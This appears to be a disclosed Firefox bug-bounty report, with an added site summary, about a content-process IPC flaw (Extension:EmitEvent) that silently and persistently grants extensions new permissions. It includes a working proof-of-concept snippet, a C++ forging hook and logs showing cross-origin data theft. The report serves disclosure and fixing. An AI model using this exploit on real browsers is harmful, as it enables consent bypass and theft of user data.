Sandbox/trust-boundary escape: a compromised content process can grant ANY installed WebExtension arbitrary host & API permissions in the parent — persistently, without user consent (`Extension:EmitEvent`)
A compromised content process could send a legacy message-manager message to the parent that re-emitted an arbitrary event into an extension's internal emitter, reaching the add-permissions handler. This let it grant any installed extension arbitrary host and API permissions without a consent prompt, and the grant persisted across a clean restart.
- Fixed in 10 days
- Paid in 2 months
- Disclosed after 10 days
Created attachment 9596982 exp.zip
Component: WebExtensions (Toolkit) / IPC
Severity (proposed): sec-high — content-sandbox / trust-boundary ESCAPE: a confined content process does what the sandbox is designed to forbid — it mutates the parent's authoritative WebExtensionPolicy and gains persistent cross-origin/cross-site data access via a weaponized extension, all without a user-consent prompt. (This is a forbidden-capability escape; it does not require — and does not achieve — arbitrary code execution in the parent, which is the separate Highest-Impact sub-tier.)
Affected / tested: Firefox 153.0a1 (mozilla-central 7c07e6f277), local ASAN build. The code is long-standing; very likely all current channels.
Threat model: Mozilla's standard "assume a compromised content process" (content-process arbitrary code execution is conceded). The bug is what that compromised content process can then do across the IPC boundary to the trusted parent.
TL;DR
A content process can send the legacy Message-Manager message Extension:EmitEvent:<instanceId> to the parent. The parent's per-extension listener re-emits an arbitrary event into the extension's internal EventEmitter with no filter and no sender check, reaching the add-permissions handler. This lets a compromised content process grant any installed extension arbitrary host-origin and API permissions in the parent's authoritative WebExtensionPolicy — bypassing the WebExtension permission/consent prompt entirely. The grant is persisted (survives a clean browser restart) and gives the targeted extension real, new capability (demonstrated: cross-origin data read it was never permitted). The only protection — the secrecy of instanceId — is broken two independent ways.
Root cause (source @ mozilla-central 7c07e6f277)
Three defects compose:
1. RecvAsyncMessage dispatches content→parent MM messages by NAME only, with no sender/principal/remoteType gate.
dom/ipc/ContentParent.cpp:4828 ContentParent::RecvAsyncMessage(aMsg, aData) → mMessageManager->ReceiveMessage(ppm, nullptr, aMsg, false, aData, nullptr) — the message is routed to Services.ppmm listeners purely by the name string; no aPrincipal, no remoteType check.
2. The per-extension Extension:EmitEvent listener re-emits an ARBITRARY event (the trust asymmetry).
Each Extension registers Services.ppmm.addMessageListener("Extension:EmitEvent:" + this.instanceId, this) (toolkit/components/extensions/Extension.sys.mjs:3423-3424). Its handler:
receiveMessage({ name, data }) { // Extension.sys.mjs:3637
if (name === this.MESSAGE_EMIT_EVENT) {
this.emitter.emit(data.event, ...data.args); // <-- NO filter on data.event
}
}
The send side, by contrast, only puts events on the wire if they are in a fixed allow-list:
emit(event, ...args) { // Extension.sys.mjs:3626
if (PROXIED_EVENTS.has(event)) { // <-- send is gated...
Services.ppmm.broadcastAsyncMessage(this.MESSAGE_EMIT_EVENT, { event, args });
}
return this.emitter.emit(event, ...args);
}
So the receiver trusts the sender to only send PROXIED_EVENTS, but a compromised content process can send the message DIRECTLY with any data.event — including "add-permissions".
The reached sink runs in the parent and mutates authoritative state + persists it:
this.on("add-permissions", (ignoreEvent, permissions) => { // Extension.sys.mjs:3504
for (let perm of permissions.permissions) this.permissions.add(perm);
this.policy.permissions = Array.from(this.permissions);
updateAllowedOrigins(this.policy, permissions.origins, /* isAdd */ true);
this.allowedOrigins = this.policy.allowedOrigins;
// ... broadcast Extension:UpdatePermissions to all content procs ...
this.cachePermissions(); // persists (StartupCache)
});
Payload required: data.args[0] = { permissions:[...], origins:[...], data_collection:[...] }.
3. The only gate — instanceId secrecy — is broken two ways.
The listener name embeds this.instanceId, from ExtensionUtils.sys.mjs:30 getUniqueId() = processIDMask + nextId++, with processIDMask = (uniqueProcessID & 0xffff) * 2**37.
- Zero entropy in the parent:
nsXULAppInfo::GetUniqueProcessIDreturns 0 in the parent process (toolkit/xre/nsAppRunner.cpp:1258-1264), whereExtensionobjects are constructed →processIDMask == 0→instanceIdis a small process-global integer (built-ins observed at 2/5/6). Brute-forceable. - Leaked to content:
policy.instanceId = extension.instanceIdis set on the in-contentWebExtensionPolicy(ExtensionProcessScript.sys.mjs:208), so a content process can readWebExtensionPolicy.getByID(id).instanceIddirectly.
A native-code-ACE content process either reads the leak or brute-forces the small id, then sends Extension:EmitEvent:<id> with an add-permissions payload.
Impact
A compromised content process can, without any user consent prompt, grant any installed extension (a) arbitrary host-origin permissions and (b) arbitrary API permissions, mutating the parent's authoritative WebExtensionPolicy. Consequences:
- WebExtension permission/consent-model bypass — the entire point of the install/permission prompt is defeated for already-installed extensions.
- Persistent — the grant is written via
cachePermissions()to the StartupCache and survives a clean browser restart (verified). One transient content compromise yields a permanent escalation that outlives the attacker's code. - Weaponizes the extension's authority — granting host permissions lets the extension's own code reach origins/APIs the user never approved. Demonstrated: a user extension shipped with host access to
127.0.0.1only was granted*://127.0.0.2/*and then read cross-origin secret data from127.0.0.2that it was previously CORS-blocked from. With a real-world extension that holdscookies/webRequest/scripting/nativeMessaging, the impact scales accordingly (cross-origin cookie/data theft, content-script injection on all sites, native-host messaging). - Always reachable — Firefox ships built-in extensions with permissions (webcompat has
<all_urls>+cookies+webRequest), so the precondition "≥1 installed extension" is always satisfied on a stock profile; user extensions broaden it.
This is a content-sandbox / trust-boundary escape: the content sandbox + Fission exist to confine a (assumed-compromised) content process to its own origin and to deny it any ability to alter browser security state or reach other origins' data. Here a confined content process instead mutates the parent's authoritative WebExtensionPolicy and obtains persistent cross-origin reach — exactly the confinement the sandbox is meant to enforce. It does not require code execution in the parent; it is a forbidden-capability escape, hence sec-high.
Proof of concept (parent code UNMODIFIED throughout)
All PoCs use attacker-simulation: the only modification is to the content side (to make a content process emit the IPC a compromised renderer would send) — no parent-side security check is modified or disabled. This mirrors the methodology of prior accepted Mozilla content-compromise reports. Oracle: local ASAN Firefox. Evidence logs under evidence/.
-
poc_emitevent.py— in-session grant (2 reproductions,evidence/poc_run2.log). A content process (loaded only onhttp://127.0.0.1) sendsExtension:EmitEvent:<id>add-permissions; the parentWebExtensionPolicyfor 3 shipped built-in extensions (formautofill/webcompat/pictureinpicture) gains*://victim-emitevent-poc.example/*+ thebookmarksAPI permission.formautofill(no host permissions before) is the cleanest. The content process also reads each extension'sinstanceId(the leak), confirmed. -
test_persistence.py— persistence across a clean restart (evidence/persistence_hardened.log). launch 1 (pid 85801) injects the grant, then performs a clean shutdown viaServices.startup.quit(eAttemptQuit)→ process exits rc=0 and the marionette port closes (truly dead). launch 2 (DISTINCT pid 86184, same profile, no re-inject) readsformautofillSTILL holding*://victim-persist-poc.example/*— i.e. it was loaded from disk on startup. Confirms the grant persists. -
poc_emitevent_cpp.py— AIRTIGHT, pure content-process, zero chrome (evidence/cpp_airtight.log). The forge is emitted by a C++ content-side hook (netwerk/cookie/CookieServiceChild.cpp::MaybeForgeEmitEvent, envMOZ_EXT_FORGE_EMIT, fired when the page readsdocument.cookie) that builds the payload and callsContentProcessMessageManager::Get()->SendAsyncMessage("Extension:EmitEvent:"+i, …). No chrome / noloadProcessScriptin the attack path; marionette is used only to read the result afterward. Content log:"sent Extension:EmitEvent add-permissions … 80 sends ok … from CONTENT process, no chrome"; all 3 built-ins gained the origin. -
poc_userext_escalation.py— real-world capability gain on a USER extension (evidence/userext_escalation.log). A custom extension is installed with host access to127.0.0.1only (a control channel); its background repeatedly fetcheshttp://127.0.0.2/secret. Before the forge:BLOCKED(CORS NetworkError). A content process then forgesExtension:EmitEventadd-permissions(*://127.0.0.2/*)onto that extension. After: the extension'sallowedOriginsgains*://127.0.0.2/*and its fetch returnsREAD:SECRET-VICTIM-DATA— it now reads cross-origin data it was never permitted to.
Minimal reproduction (conceptual)
From a compromised content process:
// read the target extension's instanceId (leaked) or brute small ints
const id = WebExtensionPolicy.getByID("<target-ext-id>").instanceId; // small; or 0..N
// send the unauthenticated parent message
sendAsyncMessage("Extension:EmitEvent:" + id, {
event: "add-permissions",
args: [{ permissions: ["bookmarks"], origins: ["*://victim.example/*"], data_collection: [] }],
});
// parent now grants those to the extension, persisted, no consent prompt.
Evidence — verbatim PoC log output
1. In-session grant (evidence/poc_run2.log, reproduction #2 — content process loaded only on http://127.0.0.1):
[address removed]: instanceId=6 gained_origins=['*://victim-emitevent-poc.example/*'] gained_perms=['bookmarks'] <<< BUG CONFIRMED (granted w/o user consent)
[address removed]: instanceId=2 gained_origins=['*://victim-emitevent-poc.example/*'] gained_perms=['bookmarks'] <<< BUG CONFIRMED (granted w/o user consent)
[address removed]: instanceId=5 gained_origins=['*://victim-emitevent-poc.example/*'] gained_perms=['bookmarks'] <<< BUG CONFIRMED
LEAK (content read instanceId): webcompat=6, formautofill=2, pictureinpicture=5 (all has:true)
RESULT: *** CONFIRMED — content-process IPC granted a built-in extension a host permission in the parent ***
(formautofill had ZERO host permissions before → unambiguous.)
2. AIRTIGHT — pure content-process C++, ZERO chrome in the attack path (evidence/cpp_airtight.log):
[EXT-FORGE] *** sent Extension:EmitEvent add-permissions origins=[*://victim-cpp-poc.example/*] to instanceId 0..79 (80 sends ok) from CONTENT process, no chrome ***
[address removed]: ['moz-extension://…/*', '*://victim-cpp-poc.example/*'] <<< GRANTED w/o consent (content C++, no chrome)
[address removed]: ['<all_urls>', 'moz-extension://…/*', '*://victim-cpp-poc.example/*']
[address removed]: ['moz-extension://…/*', '*://victim-cpp-poc.example/*']
RESULT: *** AIRTIGHT CONFIRMED — pure content-process C++ IPC granted the perm, zero chrome ***
3. PERSISTS across a clean restart (evidence/persistence_hardened.log):
before: ['moz-extension://…/*']
after : ['moz-extension://…/*', '*://victim-persist-poc.example/*'] (in-session grant: OK)
launch1 pid=85801 exited rc=0 port2828_closed=True (forging process truly dead, stores flushed)
launch2 pid=86184 distinct=True (FRESH process, same profile, NO re-inject)
after restart: ['moz-extension://…/*', '*://victim-persist-poc.example/*'] (still granted — loaded from disk)
survives CLEAN restart : *** YES — PERMANENT (one-shot content compromise => persistent privesc) ***
4. Real cross-origin capability gain on a USER extension (evidence/userext_escalation.log):
ext allowedOrigins BEFORE: ['*://127.0.0.1/*', 'moz-extension://…/*'] (host access to 127.0.0.1 ONLY)
reports BEFORE forge: ['ext-started', 'BLOCKED:TypeError: NetworkError…'] (fetch http://127.0.0.2/secret = CORS-blocked)
--- a content process forges add-permissions(*://127.0.0.2/*) onto this extension ---
ext allowedOrigins AFTER : ['*://127.0.0.1/*', 'moz-extension://…/*', '*://127.0.0.2/*']
reports AFTER forge: ['BLOCKED…', 'READ:SECRET-VICTIM-DATA', 'READ:SECRET-VICTIM-DATA', …]
RESULT: *** ESCALATION CONFIRMED — content forged a host perm onto a user ext -> it now reads cross-origin victim data it could NOT before ***
Suggested remediation (non-binding)
- On the receive side, gate
Extension:EmitEventby the samePROXIED_EVENTSallow-list the send side uses (so only intended internal events can be re-emitted), and/or authenticate the sender (the message should only be accepted from the extension's own process, not arbitrary content). - Treat the
instanceIdin the listener name as a non-secret (it is both low-entropy in the parent and leaked to content); do not rely on it as an authorization token.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the parent accepted content-to-parent message-manager messages by name only with no sender check, and the per-extension listener re-emitted any event name rather than only the allow-listed ones, so a content process could trigger the add-permissions handler; the only gate, the instanceId, was low-entropy in the parent and leaked to content.
Impact
A compromised content process could grant any installed extension arbitrary host and API permissions without user consent, persistently across restarts, and a user extension was shown reading cross-origin data it was previously blocked from; this is a forbidden-capability escape, not code execution in the parent.
What the attacker needed
Compromised content process; at least one installed extension; no user interaction
The fix
The receive side should be gated by the same allow-list the send side uses and/or authenticate the sender, and the instanceId should not be treated as a secret.
How it was found
- From a content process, read the target extension's instanceId from the in-content policy, or brute-force the small integer.
- Send the Extension:EmitEvent message for that id with an add-permissions event and a payload of permissions and origins.
- The parent's listener re-emits the event, reaching the add-permissions handler, which updates the policy and caches it.
- Restart the browser cleanly and observe the extension still holds the granted origin.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Firefox splits its work into a trusted parent process and less-trusted content processes that render web pages. The design assumes a content process may be taken over by an attacker, so it must not be able to change browser security settings. Here a taken-over content process could quietly give any installed add-on extra powers, such as reading other websites, and the change stuck even after a restart.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.